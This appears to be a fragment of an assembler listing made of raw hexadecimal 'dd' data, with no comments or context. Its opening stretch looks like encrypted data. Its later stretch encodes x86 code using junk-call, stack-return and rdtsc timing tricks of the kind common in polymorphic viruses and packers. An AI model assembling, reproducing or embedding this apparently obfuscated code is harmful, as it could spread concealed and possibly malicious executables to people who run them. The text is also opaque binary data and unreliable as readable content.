22A6B15Fh, 921D523Eh, 40807A6h, 4D1B3925h dd 1B1BAACBh, 0D845F423h, 3F6FE37Dh, 3F5FB427h, 1B1B8D27h dd 0D84D0B23h, 0F506F5CAh, 1B1DD62Ch, 9614A923h, 1B1BD423h dd 5EDFA8h, 977D333Ch, 711FBEFBh, 18F31823h, 3B1BA623h dd 9246907Eh, 9A1F8D4Fh, 0C1FF067h, 5E1B6A23h, 5E1EF676h dd 9514C8BCh, 1B1B4D25h, 0F94C49A2h, 0DB111DF4h, 19E02D2Ch dd 0AE30D423h, 1D044406h, 3B3EB0E5h, 71549C3Ch, 18F31B23h dd 3B1BA623h, 9245907Dh, 9A1F8D57h, 21FF067h, 5D1B6A23h dd 3FF6F675h, 9ECB3304h, 3BED012h, 8573A03Ch, 9A867827h dd 73418D17h, 9690F688h, 1D047B1Ah, 296A80DCh, 907D9C3Ch dd 328EC4DBh, 961DB932h, 3962C0A6h, 0A962225h, 0E41DCB2Ah dd 3FDBE9F3h, 0B62B8AAh, 9E929C3Ch, 1D0460C2h, 1B08262Ch dd 15F25323h, 351BA923h, 8B744574h, 0A9E5B063h, 51B4D678h dd 1B0872A8h, 830E4D23h, 713F8CD9h, 7CCC7526h, 0A9D994E8h dd 46CB0514h, 9E903415h, 1D042682h, 0D0A1F0Ah, 86904B3Ch dd 1D04A696h, 59F9D245h, 0EBFC174Eh, 7158C505h, 18F33F23h dd 3B1B3523h, 9246597Eh, 9A1F694Fh, 71F8267h, 5E1B5323h dd 7A396A76h, 0CB5B3242h, 0F2274131h, 1B1B3531h, 0ADDBA0CFh dd 4C2764Fh, 0C5A9756Ah, 7402F7CDh, 904FEBh, 0F34DD449h dd 1B1B6A20h, 45D86B03h, 1F3FEEAAh, 1F3F09A2h, 1B1BA634h dd 0ADD80565h, 0ADD802BAh, 0CA9AB261h, 902F86h, 0F3493549h dd 1B1B9A20h, 41D81703h, 1F3FF2AAh, 1F3F17A2h, 1B1BA93Fh dd 0AAD88661h, 0CE8A779Fh, 308D2828h, 1B7181A8h, 1B18A572h dd 423BA623h, 57920AE0h, 5F9AAD07h, 1B0DD007h, 4A5A6A23h dd 0C5F8C9E0h, 1B714210h, 1B18A574h, 443BA623h, 67920CE0h dd 5F9AAD07h, 1B07D007h, 4C5C6A23h, 0C4BB30E0h, 156DB15Fh dd 8692E658h, 1D0488EAh, 0F34E5349h, 1B1BA920h, 46D88903h dd 1F3F06AAh, 1F3F71A2h, 1B1B9A34h, 26D81866h, 7DB48AF1h dd 0DD3AE99Dh, 43B8CA6h, 0F3E39325h, 1B1B6A27h, 0ACC5E88Ah dd 7B4B7B91h, 1B1B5FCAh, 0BF526023h, 0B1FB2151h, 99DC8C62h dd 0CF682ADEh, 7BE3579Ah, 7DE3BE45h, 7A69C899h, 3F5FC642h dd 901B2D27h, 3F5FDAD2h, 43451827h, 0AEE402A8h, 1D045852h dd 0F34B3549h, 1B1B9A20h, 43D81503h, 1F3FE2AAh, 1F3F17A2h dd 1B1BA934h, 67D88463h, 90A81624h, 41830B6h, 889E1725h dd 901D6F5Ah, 4192B9Eh, 0D6AEDA25h, 0E41DB638h, 928362F3h dd 4038FA6h, 4A1B5F25h, 1B1B99CBh, 0D8426D23h, 3F572F7Ah dd 3F5FD227h, 1B1BBF27h, 0D84A9523h, 929B47E4h, 41928AEh dd 0EEA69B25h, 5B1D5233h, 9A174A2h, 1B901AC5h, 0F34EA949h dd 1B1BD420h, 46D83703h, 1F3F59AAh, 1F3FDEA2h, 1B1B4D3Ah dd 40D8F366h, 597D52Dh, 54CD28B8h, 9050D19Dh, 4C1B0023h dd 1B1B36CBh, 0D844BA23h, 3F67C47Ch, 3F5F2727h, 1B1B4A27h dd 0D84CEE23h, 2797D865h, 9690355Ch, 1D04389Eh, 309E27A8h dd 96304B3Ch, 1D04AD42h, 198ED6AAh, 0A690AF3Ch, 1D04F8BEh dd 1C7AD7AAh, 8F2333Ch, 4A1B9A22h, 426D8A8h, 9041A03Ch dd 413FA96h, 749E2425h, 7D1DF691h, 4B02DD9Ch, 1B1B26CBh dd 41624923h, 59BF943Dh, 5E52826h, 0B7084276h, 8BFE2F4Ah dd 1B1BD3CAh, 0FED6A623h, 88392BB6h, 3F1F137Ah, 1A14D79Ah dd 0AA8E597Fh, 711D4C0Eh, 18F3FE23h, 3B1BD423h, 9244A97Ch dd 9A1F115Fh, 1FBE67h, 5C1B4D23h, 6F476574h, 0EA5EBC76h dd 0A414C2E9h, 6E8659F2h, 141D4891h, 1B1B30A3h, 0F19AFC23h dd 924BBF2Bh, 1B71823Fh, 1B18BB74h, 443BA923h, 67928BE0h dd 5F9A6E07h, 1B0D3107h, 4C5C9A23h, 7F3037E0h, 8BE52D45h dd 7D4B3A96h, 908B63A8h, 416B99Eh, 0A8E9525h, 711D2A29h dd 18F3CD23h, 3B1B4D23h, 9244657Ch, 9A1F775Fh, 31F8D67h dd 5C1BD423h, 0DAD2A974h, 7D39F638h, 0B4FE6CA2h, 0A92F0A8h dd 9E92A03Ch, 1D047EC2h, 0F349A949h, 1B1BD420h, 41D83003h dd 1F3F61AAh, 1F3FDEA2h, 1B1B4D3Bh, 4DD8F461h, 0E96A6C1Eh dd 2B522420h, 9EDDD23Ch, 1D044A06h, 491B5F70h, 1B1B99CBh dd 0D8416D23h, 3F4F2F79h, 3F5FD227h, 1B1BB127h, 0D8499623h dd 0C4FDDC19h, 5AF9B481h, 7327BF04h, 290BFAB9h, 1F9ADB96h dd 6DD7B607h, 8692515Bh, 1D04D272h, 296ADFDCh, 1B71333Ch dd 1B187273h, 433B4D23h, 5F92FEE0h, 5F9A5707h, 1B0EAD07h dd 4B5BD423h, 14772CE0h, 8E32C394h, 1D049892h, 6288C8AEh dd 1B71A001h, 1B18BB70h, 403BA923h, 47928FE0h, 5F9A6E07h dd 1B0F3107h, 48589A23h, 7DEEB2E0h, 0E46F119Ah, 4D1B39F3h dd 1B1BAACBh, 0D845F423h, 3F6FE37Dh, 3F5FB427h, 1B1B8727h dd 0D84D0B23h, 50DF0D9Fh, 8EC98F48h, 9D14AC86h, 1B1BD427h dd 0C9CCD345h, 344EB0AAh, 0A17D9C3Ch, 0D190D0FAh, 3B3E23E5h dd 715C553Ch, 18F3FC23h, 3B1BD423h, 9246A97Eh, 9A1F114Fh dd 1FBE67h, 5E1B4D23h, 0BDE06576h, 47D82E00h, 9614297Bh dd 1B1BD432h, 1B1B66CAh, 7ECCF123h, 9AD4FF85h, 0DF432D9Ah dd 1B104E85h, 3BE25323h, 2112F6D2h, 809DF358h, 8AAEE35Fh dd 451D2A3Bh, 1B1B9ECBh, 690EDD23h, 95A2F682h, 9009339Ch dd 0F31F8D67h, 1B1BD428h, 0E3DDF0CAh, 5211FDBh, 0F321FC1Ah dd 1B1B4D28h, 3DD9CF73h, 46291DB5h, 0F23180F3h, 1B1BD428h dd 0B841B650h, 411A95E4h, 44F83975h, 7B1BC67Ch, 0C390C075h dd 1B08BB78h, 0DE50A923h, 0E0897754h, 0D997C0EEh, 0B92FF908h dd 7312A7B3h, 447A2D4Eh, 3F5F2F42h, 1B13BA27h, 0ED8FA923h dd 0C1F4E54h, 7143AC4Ch, 18F36423h, 3B1B9A23h, 92428E7Ah dd 9A1F826Fh, 0F1F7767h, 5A1BA923h, 7D691772h, 0A23BACA2h dd 296A80DCh, 1B719C3Ch, 1B18A576h, 463BA623h, 77920EE0h dd 5F9AAD07h, 1B0DD007h, 4E5E6A23h, 78EBA7E0h, 62881FAEh dd 907D4B01h, 0F2CB59DDh, 1B1B5325h, 0F71F90BFh, 9E92D110h dd 1D047C02h, 0F3493549h, 1B1B9A20h, 41D81703h, 1F3FF2AAh dd 1F3F17A2h, 1B1BA93Eh, 0CED88661h, 7A39FE4Ch, 0CB5BD342h dd 3E9E5C31h, 481D5203h, 0F34DA649h, 1B1B5320h, 45D8F703h dd 1F3FA0AAh, 1F3F2EA2h, 1B1B3536h, 1CD8CC65h, 32A12568h dd 2DA9136Eh, 313F67A2h, 7137DD55h, 18F38423h, 3B1B6A23h dd 9243F67Bh, 9A1FBE67h, 31F6967h, 5B1BA623h, 24F69073h dd 0E44C5A02h, 429A596h, 4A1B0025h, 1B1B36CBh, 0D842BA23h dd 3F57C47Ah, 3F5F2727h, 1B1B4E27h, 0D84AE823h, 0BEF6CE0h dd 6EE8F5CFh, 907D9423h dd 109C95D8h, 141B4D23h, 1B1BA3A6h, 0C0DFEA23h, 0A692A86Fh dd 1D04D63Ah, 6288EFAEh, 0EC903301h, 1B714ADCh, 1B18A571h dd 413BA623h, 4F9209E0h, 5F9AAD07h, 1B00D007h, 49596A23h dd 0CFDEA3E0h, 7B8E65D8h, 74A42BC7h, 429E2FCCh, 711D4C0Eh dd 18F3FA23h, 3B1BD423h, 9240A978h, 9A1F117Fh, 0C1FBE67h dd 581B4D23h, 3D496570h, 9EDD0A45h, 1D048906h, 4E1BBE74h dd 1B1B69CBh, 0D8461523h, 3F77137Eh, 3F5FCC27h, 1B1BBA27h dd 0D84E1623h, 5629F72Fh, 37C6ABE9h, 96903BE3h, 1D04115Eh dd 0EC90FC7Ah, 244FF345h, 1B1BA2CBh, 1F495523h, 9D4D13B3h dd 4D4BAB1Bh, 9041AA95h, 901F1167h, 481B11F0h, 454B1F73h dd 7A7B972Ch, 92440B79h, 7D1F8D67h, 4386DC9Dh, 0F3496A49h dd 1B1B3520h, 41D8C003h, 1F3F19AAh, 1F3FE2A2h, 1B1B5339h dd 70D8FB61h, 288F5A18h, 0E4E3FE0Eh, 4294496h, 0CEA61325h dd 961D5237h, 396235A6h, 491B3925h, 1B1BAACBh, 0D841F423h dd 3F4FE379h, 3F5FB427h, 1B1B8F27h, 0D8490F23h, 0CBE4C2EEh dd 0F3485349h, 1B1BA920h, 40D88F03h, 1F3F36AAh, 1F3F71A2h dd 1B1B9A39h, 0E9D81E60h, 3A2CA4DCh, 0AE90D9D8h, 1D049926h dd 29766122h, 9E926C3Ch, 1D0429CEh, 12FA0FA8h, 9EDD4B3Ch dd 1D048606h, 4D1B3960h, 1B1BAACBh, 0D845F423h, 3F6FE37Dh dd 3F5FB427h, 1B1B8027h, 0D84D0B23h, 0B2811C33h, 7D833FCEh dd 1F7C4FA2h, 156661A8h, 52736C3Ch, 0F3ABD41Eh, 1B1B9A26h dd 0D2AF0525h, 907DC658h, 1B0BBADAh, 16E6A923h, 0AE9BF401h dd 0AB0F655Bh, 9D0978A9h, 447A0FBBh, 7A3F79A2h, 7D17D76Eh dd 0B706B2A2h, 4E2D76A2h, 0AEE4DDE7h, 1D045852h, 0F34C3549h dd 1B1B9A20h, 44D81203h, 1F3FDAAAh, 1F3F17A2h, 1B1BA939h dd 2BD88364h, 970269ADh, 12F31938h, 291B9A23h, 0CAAF1DF8h dd 0B4BED194h, 37EAC6A8h, 9642AF3Ch, 396247A6h, 481B0025h dd 1B1B36CBh, 0D840BA23h, 3F47C478h, 3F5F2727h, 1B1B4927h dd 0D848EA23h, 2D272127h, 0F32A7FD2h, 1B1B352Bh, 213775A5h dd 8F3EB123h, 16662322h, 0E344553Ch, 9A7B79DCh, 7D2DEFF5h dd 9E920B7Fh, 1D041E2Eh, 0FF355A8h, 0A41B4D23h, 0F9907332h dd 0D5F53B17h, 8B0B610Ah, 0C4C55158h, 44A0BD09h, 0A97EB0AEh dd 0A62A9C01h, 1D045FFAh, 4BE92DB3h, 0A51DEC45h, 8EE450B3h dd 1D04F992h, 1B71B2A8h, 1B18DD73h, 433B9A23h, 5F9215E0h dd 5F9AA207h, 1B035707h, 4B5BA923h, 4002ECE0h, 9E960CA3h dd 1D39877Ah, 0F3499A49h, 1B1B4D20h, 41D8FC03h, 1F3F07AAh dd 1F3FEDA2h, 1B1BD43Ah, 41D83861h, 95D3323Bh, 0DA8E13A8h dd 8B1D5208h, 1B0A4E73h, 9C7D5323h, 0D08A92C7h, 0BE852414h dd 0D47ABF3h, 7B295705h, 457A45A8h, 481B27B3h, 1B1BA5CBh dd 0D8407323h, 3F472078h, 3F5F5527h, 1B1B7E27h, 0D8487623h dd 3EAE114Ah, 901D522Bh, 0D0AEF6DAh, 0F23F4FAAh, 1B1BA92Fh dd 0BE620090h, 3F7240D2h, 0B47CE00h, 2EC51B45h, 0A8EB238h dd 711DB929h, 18F30123h, 3B1BA923h, 92411779h, 9A1F4E77h dd 31F1167h, 591B9A23h, 39218E71h, 0F3E89374h, 1B1B5337h dd 8A8AE8FDh, 875B9662h, 4689DADh, 3E18CF80h, 0B7E66252h dd 0DC2D8AAh, 0E341A03Ch, 2A6ED6AAh, 0C59AAF3Ch, 75767B06h dd 3C7AE712h, 9EDC333Ch, 1D049FC2h, 1B1B4D2Ch, 0F34EA649h dd 1B1B5320h, 46D8F403h, 1F3FB8AAh, 1F3F2EA2h, 1B1B3538h dd 21D8CF66h, 0C66E6354h, 7B1C0539h, 90CCEC2Ch, 41690BEh dd 15F2B525h, 6B1B6A23h, 3FED76ADh, 0C1D72B55h, 79C59341h dd 6E8E59D9h, 9B1D4C12h, 9E922EF1h, 1D04FA1Ah, 0F34B6A49h dd 1B1B3520h, 43D8C203h, 1F3F09AAh, 1F3FE2A2h, 1B1B5335h dd 78D8F963h, 0AE90409Bh, 1D04639Ah, 1B19B02Ch, 0E1909A23h dd 92C8A8h, 8696A03Ch, 1D3995E5h, 961AEAAAh, 405F59Eh dd 0BBAEE725h, 0A21D17E5h, 1B1B9A10h, 28F0E9D0h, 1B1BA69Bh dd 6FDB5823h, 1B036B20h, 173F90A8h, 1B1B8270h, 9A403523h dd 1B1B8DE0h, 3F47C423h, 3F5F2F33h, 2CA30837h, 0E41B3783h dd 3F5F5FC3h, 71FB9527h, 18F36423h, 3B1B9A23h, 92428E7Ah dd 9A1F826Fh, 0C1F7767h, 5A1BA923h, 97711772h, 907D1C21h dd 0A69054EBh, 1D0480A6h, 0A942F0AEh, 9696A001h, 1D39943Bh dd 3DB09C9Bh, 2E9EE7BBh, 301D753Ah, 37F37BECh, 5B1B1B53h dd 0ACA000B0h, 8A3A4EBAh, 0EBA17530h, 6A42547Eh, 2C34B0DFh dd 0F305E983h, 8BD98BA4h, 1F1EA9B5h, 1890F06h, 0FC000000h dd 0B8E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 0E86068ECh, 0Ch, 2CF14F73h, 27793654h dd 9C52DBE4h, 42F18166h, 80605ABFh, 0DE8AEEDh, 0B000000h dd 3CAB9466h, 0A378596Ch, 20908F9Dh, 61616159h, 11E9h dd 0FD6DC300h, 0A89FDB4Fh, 0F112060Ah, 0CCC0F0B9h, 0F602EBBh dd 58Ah, 647DB900h, 0C36110D5h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 0C8C35747h, 616303B8h, 0CE86010h dd 11000000h, 5E3F64EDh, 39C177C3h, 602B6777h, 60615961h dd 4AB86650h, 0C1815BD7h, 48AC9247h, 6AC08B61h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 0E94BC357h, 0Eh, 5048C203h, 71CB0BFBh, 8A95C9A6h, 0BD8360B0h dd 61F06C1h, 83097500h, 1F1F51BDh, 19740006h, 0C08B5350h dd 4B9B8h, 95858900h, 8D061F13h, 21B00B9Dh, 5BD3FF06h dd 51BD8358h, 61F1Fh, 53501774h, 4B9B8h, 95858900h, 8D061F13h dd 21ACAC9Dh, 5BD3FF06h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 0BC8C8CFCh, 803AAC2Eh dd 5E9h, 0CD974B00h, 6A368Eh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 0C279ABC3h, 0D0307C16h dd 850FF522h, 8, 0F7D18060h, 61D08B66h, 9E9C08Bh, 76000000h dd 26B26B71h, 4C47CD46h, 6AC18B40h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0D6A8C350h dd 4EBF18Bh, 0 dd 269B589h, 0F88B061Fh, 19BD858Dh, 5090061Fh, 50CB8A60h dd 60310F52h, 61585A61h, 51006A90h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 5B1C1C4Fh, 880F6025h dd 5, 0ABCA8166h, 0C99D8BE2h, 61061F0Ch, 6A006Ah, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 0E53097C3h, 8B66CA9Ah, 0F18B66FAh, 858D006Ah, 622CA52h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0AEC35141h dd 5C03A336h, 91E9B98h, 1F02CDB5h, 9830F06h, 0F000000h dd 384h, 0F0BF0F00h, 905C083h, 1F00C1B5h, 7FBE9006h, 50616A70h dd 50565250h, 5A310F52h, 310F5F58h, 6A00FCBFh, 90585A35h dd 7B99D89h, 6A061Fh, 2D998589h, 6A061Fh, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 14h, 14C35242h, 2FCDB58Bh dd 95FF061Fh, 61F0161h, 0B1F29D8Dh, 0DE90622h, 0F3000000h dd 8B2A0B0Ch, 778480C9h, 0C17F1EC8h, 9529D3FFh, 61F1681h dd 102985FFh, 0BE66061Fh, 52E91D5Ah, 0E8000006h, 0 dd 5CED815Dh, 6A0622CAh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 2B33C350h, 94DE389Fh dd 0DE9C3h, 0A4E90000h, 63188692h, 0DC4C2564h, 1F8A8FDh dd 1F1D05B5h, 0E1BD8106h, 0D0061F05h, 0F000007h, 0C286h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 60AAC9A5h, 2C299D8Bh, 6A061Fh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 0D0B85FC3h dd 0E38132FAh, 100h, 126D8501h, 0B589061Fh, 61F1019h, 850FDB0Bh dd 40h, 1285BD8Bh, 0BD83061Fh, 622C910h, 13840F00h, 66000000h dd 0E9EF5DBFh, 36h, 28C0F56h, 53000000h, 85C75E5Fh, 622C910h dd 1, 0C98520BEh, 18E978h, 0BD8B0000h, 61F1F29h, 0C91085C7h dd 622h, 89510000h, 1F16CDB5h, 9D8D5F06h, 61F2C29h, 3077BE66h dd 0FEFF2381h, 66F5FFFFh, 9D89DB8Ch, 61F18D1h, 0F04C3F6h dd 8D84h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 0B58B9E19h, 61F1ED5h, 317595FFh dd 6A061Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 206B6FC3h, 2ACA5673h, 9E8h, 0BB147800h, 2D81FB16h dd 860F814Ah, 5, 0B1C68166h, 50905E06h, 13E8h, 2AA9D100h dd 3BFA1F1h, 0DAD3D158h, 3C61978Fh, 4ABAE062h, 7E9905Eh dd 0D000000h, 3FEB2641h, 9AE9F75Fh, 6A000003h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 429BC357h, 31BE0F22h, 1F0DF5BDh, 0E600B006h, 51006A70h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 0AC7ACBBEh, 330E5E6h, 0E081605Bh, 3A52A11Bh, 10E9h dd 1D11B700h, 33FBD894h, 3BE15A6Ah, 0D8BCD6FCh, 71E46113h dd 2B44E781h, 0B60F63FCh, 758D09D8h, 81061F24h, 0CE326CEFh dd 6BA60h, 85090000h, 61F006Dh, 8952C38Bh, 1F2F058Dh, 0E8C15E06h dd 0BE804h, 4BA80000h, 1C72A6Fh, 4865637h, 0CF8166F3h dd 665FAE30h, 0BE66E2F7h, 0D82BD576h, 0DB59D89h, 5093061Fh dd 13E9h, 0E3AFD200h, 6C201EA3h, 0AF1EB8FDh, 0A7BA275Fh dd 0FFA4F41Ch, 0F08B6693h, 0E1B5FFF8h, 6A061F05h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 59F5C352h, 56B66A17h, 95FFE2B7h, 61F1D45h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0D0C35242h, 8BDAD1E1h dd 1F07F9BDh, 0E8A0F06h, 60000000h, 13CD9D89h, 9529061Fh dd 61F1119h, 6600B061h, 0E68158BEh, 0DF816670h, 71E4F88Dh dd 0EBDB58Bh, 613C061Fh, 237830Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 48D731C3h dd 5E9D9AFh, 7E000000h, 7AA2061Ah, 6AD8B60Fh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 1D79C355h, 3C9B46CCh, 6654967Ch, 0C4E1C681h, 6BAh, 85BD0300h dd 8B061F2Bh, 55006AC3h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 210EFC53h, 66D20C6Ch, 0C114F9BEh dd 0B70F04E8h, 0E2F766F9h, 0F6816650h, 2B5FCFE9h, 52006AD8h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0DE640684h, 409ABBE8h, 58F0BF0Fh, 6BEF8166h, 0FD82B1Eh dd 16888h, 7DB58B00h, 0B9061F26h, 7, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 8BC35545h, 0C183A889h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0DB5D7F4Ah, 0BF66C9F5h, 0D93B5B69h, 10F860Fh, 81660000h dd 661295EEh, 0C1F6D98Ch, 0F0840F04h, 0E8000000h, 14h dd 0B0121F9Ch, 1B0AA7D8h, 0A195F6B2h, 0FECFBC3Bh, 16C14A6Dh dd 14E9h, 1C3DB500h, 0E23225AAh, 867EA415h, 5FAE007Ch dd 0A6CE15ACh, 95FF5FD8h, 61F3175h, 6890Fh, 0B58B0000h dd 61F1561h, 50006A5Bh, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 0FA1D8745h, 0DD0DA6FDh, 6AC32Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 7086BAC3h, 6F832585h, 16850Fh, 11E90000h, 32000000h dd 0ED32BEF3h, 85D22C47h, 0ADE321CFh, 0F5DD1EF6h, 8343Dh dd 3C860F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 141DC352h, 28E9h, 0EE800h dd 0FF820000h, 0FAE55012h, 5ED4D2F5h, 608722CAh, 12D9B52Bh dd 8B5F061Fh, 68D0FC0h, 33000000h, 1F0601BDh, 8BC38B06h dd 5E9D8h, 0A8AB0000h, 0C782C006h, 1F200985h, 8647DF06h dd 56006A74h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 0C59D2984h, 8B061F0Ah, 819589C0h, 81061F1Ah dd 1F05E1BDh, 7D006h, 2A850F00h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 7A7CC353h dd 0E185FF57h, 89061F05h, 1F1F9195h, 0E1B5FF06h, 6A061F05h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 41C1C353h, 18C82192h, 7D42EC05h, 68E0Fh dd 0BD8B0000h, 61F32A1h, 1D4595FFh, 9D29061Fh, 61F085Dh dd 5678B890h, 9D311234h, 61F2F21h, 0D06D9D8Dh, 0D4E90622h dd 6AFFFFF9h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 0FA75C355h, 6104DCE5h, 8B6617F3h dd 6AC18BF7h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 2713C356h, 0FB2FD6Eh, 1987h, 0DE800h dd 0CF5C0000h, 49F7B41Eh, 78E6C7Bh, 8B47B4AEh, 1F1FD9BDh dd 4EB5E06h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 12C35141h dd 60357B60h, 1D9D9523h, 0D181061Fh, 7BFD67FBh, 0BD858D61h dd 90061F19h, 7E8h, 0D8721A00h, 0CB4E6179h, 2BC4BE66h dd 0EE8505Fh, 4000000h, 277F148Ch, 4AEF949Ah, 191996CBh dd 0FE84Ah, 0B7A30000h, 9A06C209h, 993FD52Dh, 0C8C7CB2h dd 5EF38BF2h, 6A905Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 739193C3h, 0A193DE71h, 6A4EC9h dd 88F0Fh, 8B600000h, 1F0A55BDh, 6A6106h, 0DE8h, 0A8E82500h dd 1C6C513Dh, 150450CBh, 85899456h, 61F2FDDh, 29B58B5Fh dd 8D061F19h, 22D2D585h, 198D8906h, 83061F19h, 6A05C0h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0EE6D5AC3h, 0B63847B9h, 0CD958960h, 89061F06h, 1F15B9B5h dd 8D896106h, 61F0CE5h, 2820F90h, 57000000h, 0BE66505Eh dd 0F90066Bh, 0C84h, 68F0F00h, 89000000h, 1F160595h, 8B0F5106h dd 6, 2B99BD8Bh, 6A5E061Fh, 19BD8B00h, 6A061F30h, 8D896000h dd 61F2D4Dh, 0D80725BAh, 0BD8B613Fh, 61F1025h, 16195FFh dd 6A061Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 495DF5C3h, 0CDDBD521h, 8D21D88Ah, 22B1F29Dh dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 4DCE8AB3h, 6057400Eh, 12E8h, 5A0EE700h dd 5471490Dh, 8141EEA5h, 4F505C3Bh, 5B637014h, 61BBE680h dd 71B5895Eh, 0FF061F0Ch, 8BF88BD3h, 1F1229B5h, 2985FF06h dd 29061F10h, 1F0FFDB5h, 0E04E906h, 0E80000h, 5D000000h dd 0D2DFED81h, 6A0622h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 0E97116C3h, 7, 0ECCA480Ch, 812865B9h dd 1F05E1BDh, 7D006h, 75860F00h, 66000001h, 9D8BFB8Bh dd 61F027Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 0C4C35545h, 0EC6A35DCh, 0E381F859h, 100h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0E3C35646h, 2AF2CF00h dd 5E919ECh, 0EA000000h, 6BE4B718h, 0BE851h, 5F420000h dd 50476110h, 929D6CC0h, 0B5F5F65h, 0B3850FDBh, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 52D9C355h, 0A2DA8C02h, 0C68166C6h, 0BD83B84Fh dd 622D0ECh, 3B840F00h, 89000000h, 1F120DBDh, 0A0E906h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 736592C3h, 3098685h, 0F13E182h, 58Bh, 0E7816600h dd 85C7549Ah, 622D0ECh, 1, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 29C35747h, 0F5931228h, 0D58A2871h, 2411B58Bh dd 8B66061Fh, 34E9FAh, 9600000h, 1F2FA1B5h, 85C76106h dd 622D0ECh, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0EBC35040h dd 990A3D43h, 9D8DFE8Bh, 61F027Dh, 68B0Fh, 0BD230000h dd 61F23D5h, 0FEFF2381h, 0B589FFFFh, 61F1A55h, 6ADB8C66h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 8256C352h, 0BC1CEF36h, 0E37FF0DEh, 161D8529h dd 0BE66061Fh, 0C3F6D255h, 4E840F04h, 8B000000h, 1F1609B5h dd 7595FF06h, 90061F31h, 0CE9h, 5D91D500h, 0AF7B820Dh dd 0F7E2F432h, 8E0F50B7h, 0 dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 418D893Ch, 89061F03h, 1F0E4D95h, 3E6E906h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 4EE81BC3h, 1CF18D89h, 0B0061Fh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 95C35545h, 558C7396h dd 0E6CEBE57h, 0DE870h, 5AA50000h, 69AF1872h, 0C1599777h dd 236E9E8Bh, 1F0019BDh, 71E45E06h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 0A9C35545h, 0F7816E89h, 0B9E86FCh dd 6AD8B60Fh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 230EC355h, 0BAEF83A5h, 6, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 14C35646h, 0B5E88862h dd 59B589D0h, 8B061F0Ah, 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 840F5197h, 6, 30558D89h dd 9531061Fh, 61F07F9h, 6604E8C1h, 0BD8BE2F7h, 61F209Dh dd 2A499531h, 0D82B061Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 3DC35646h, 0B3407F97h, 266CB3EFh, 0CE9h dd 0FE33CF00h, 365842E9h, 3D0438A5h, 66509315h, 8B93F88Bh dd 1F09B9BDh, 0E1B5FF06h, 6A061F05h, 